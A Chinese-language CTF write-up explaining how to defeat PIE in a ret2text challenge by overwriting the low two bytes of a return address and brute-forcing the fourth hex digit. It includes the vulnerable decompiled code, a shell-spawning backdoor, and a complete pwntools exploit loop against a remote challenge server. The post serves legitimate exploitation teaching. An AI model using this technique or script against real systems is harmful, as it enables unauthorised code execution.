简单爆破partial write

文章发布时间:

最后更新时间:

文章总字数:
682

预计阅读时间:
2 分钟

原理分析

本篇介绍ret2text的一种特殊情况

先前我们学习过的是没有pie的情况下 这时候我们backdoor函数的地址清清楚楚

我们可以直接栈溢出覆盖 控制程序执行流 但是如果开了pie呢?

这样的话后门函数的地址就随机化了 我们通过ida只能得知其与基址的偏移

QQ截图20221006172634

如上图所示 这样的情况下 我们又该如何得知backdoor函数的真实返回地址呢?

不知道你还记不记得我们曾经讲过虚拟内存分页机制

其导致了基址的后三位一定为000 所以函数的地址后三位保持不变 不会因为pie的开启而变化

所以:

我们假设程序的基址是0xfffffffffffff000

那么函数的偏移是0x0000 其除了后四位 其他位和基址是一样的(不排除进一的情况)

而程序正常结束后的ret 其地址也是基址+偏移得到的

所以,我们在已经直到后三位的情况下 要想得知后门函数的真实地址 只需要爆破倒数第四位 就可以试出来了

真题解析

QQ截图20221006184438

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Do you konw ret2text?");
puts("It's a easy challenge");
vuln();
puts("You failed.");
return 0;
}
1
2
3
4
5
6
7
__int64 vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

read(0, buf, 0x140uLL);
return 0LL;
}
1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

最简单的栈溢出到后门函数 唯一不同的是开启了pie需要爆破倒数第四位的地址

直接上exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
def exploit():
io = remote("43.143.7.97",28774)
io.recvuntil("It's a easy challenge")
payload = cyclic(0x100+0x8)
payload += p16(0x11e2)
io.send(payload)
io.recv()
io.sendline("cat flag")
result = io.recv(timeout=1)
io.interactive()

if __name__ == '__main__':
try_count = 0
while(True):
try:
exploit()
except:
try_count += 1
print("failed :{}".format(try_count))

这里你会发现后三位的地址有点不一样 后门函数的后三位是1DD 但是exp上写的是1e2

这里是栈对齐的问题 因为开启了pie 又没办法泄露基址 所以我们无法获得ret的汇编地址

这里看一下汇编代码 就比较好理解了

QQ截图20221006185345

我们相当于是跳过了push rbp这一指令 因为此时的rbp已经被我们填入的垃圾数据覆盖了 如果这时候将rbp入栈

就会破坏原有的栈结构 至于为什么在没有开启pie的ret2text的题目中不用注意这一点 只能解释说这是pie特有的需要注意的情况